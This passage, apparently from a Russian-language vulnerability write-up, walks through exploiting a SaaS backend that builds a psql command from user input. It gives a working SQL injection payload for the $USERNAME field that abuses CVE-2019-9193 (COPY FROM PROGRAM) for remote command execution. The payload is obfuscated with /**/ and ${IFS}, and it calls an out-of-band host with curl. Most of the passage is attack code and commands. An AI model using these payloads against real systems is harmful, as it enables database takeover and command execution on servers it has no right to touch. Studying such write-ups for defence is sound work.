psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='$USERNAME' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;".
Поскольку $HOSTNAME берется из пользовательского ввода (attacker.com), мы можем контролировать вывод команды (1), указывая $HOSTNAME на сервер атакующего. Вы можете контролировать переменную $USERNAME в команде (2).
Я нашел способ использовать CVE-2019-9193, чтобы выполнить RCE с помощью следующего запроса psql:
Код:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
И $USERNAME после инъекции будет выглядеть следующим образом:
Код:
1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--".
Код:
psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\". \"Users\" where \"strUsername\"='1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi. oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'' и \"domain\"='$DOMAIN' и \"idOrganization\"=$ORGANIZATION_ID; "select "idUser" from "saas". "Users" where "strUsername"= '1';
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl Ahihi.oastify.com/rce';
SELECT * FROM cmd_exec;